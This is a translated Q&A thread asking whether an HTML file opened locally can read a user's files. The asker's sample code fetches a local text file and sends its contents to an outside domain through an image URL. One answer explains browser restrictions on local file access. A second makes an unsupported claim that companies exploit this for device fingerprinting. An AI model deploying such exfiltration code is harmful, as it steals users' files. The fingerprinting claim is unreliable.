通过运行html文件窃取用户的数据

时间:2012-09-08 04:55:06

标签: javascript html security xmlhttprequest imagesource

我们来谈谈安全性。在我看来,理论上,如果用户用它打开html文件(从他的文件系统打开,而不是从网络打开),我可以用一些脚本从用户的文件系统获取信息。看一下代码:

info.txt:

my info

的index.html:

<!doctype html>

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
    <script>
      $(document).ready(function () {
        $.get('file:///home/daz/desktop/info.txt', function (data) {
          $('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
        }, 'text');
      });
    </script>
  </head>    
  <body></body>
</html>

一些浏览器(例如firefox)允许您从file://XmlHttpRequest获取文件,所以如果我猜测文件的路径,那么我可以通过ajax获取它的内容。然后,我可以通过查询字符串中的参数将带有img的{​​{1}}标记添加到我的域中。浏览器乖乖地提出请求src。在服务器端,我可以解析查询字符串并获取数据。

我是对的,我可以这样做吗?我是对的,如果他打开我的html文件,我可以从他的电脑中获取用户的数据吗?所以我可以说:“嘿,朋友,看看这个文件!” (有2个限制:用户应该使用firefox或类似配置的其他东西,我无法获取用户无法访问的文件,因为访问权限。)

更新:

如果有可能,为什么可能呢?他们为什么允许你做这些事情。为什么没有确认的对话框或什么。

更新2:

如果有人对此问题进行审核,那就太棒了。提前谢谢!

2 个答案:

答案 0 :(得分:5)

这比你想象的要少。各种浏览器对本地HTML文件可以执行的操作实施了不同的限制,如Chromium开发团队在本文中所述:

http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html

特别是:

  • 默认情况下,Internet Explorer会禁用本地HTML文件中的Javascript
  • Opera对本地文件的跨域访问设置了一些限制
  • Firefox将子目录限制应用于本地文件访问

(请注意,这篇文章是从2008年开始的;浏览器 - 特别是Chrome - 从那时起可能发生了重大变化。)

答案 1 :(得分:0)

只是一个更新:企业现在正在使用此漏洞来窃取数百万用户的信息,在他们不知情的情况下跟踪它们而不使用cookie。 http://en.wikipedia.org/wiki/Device_fingerprint

这个漏洞似乎故意留在他们的正义中,因此用户可能被利用。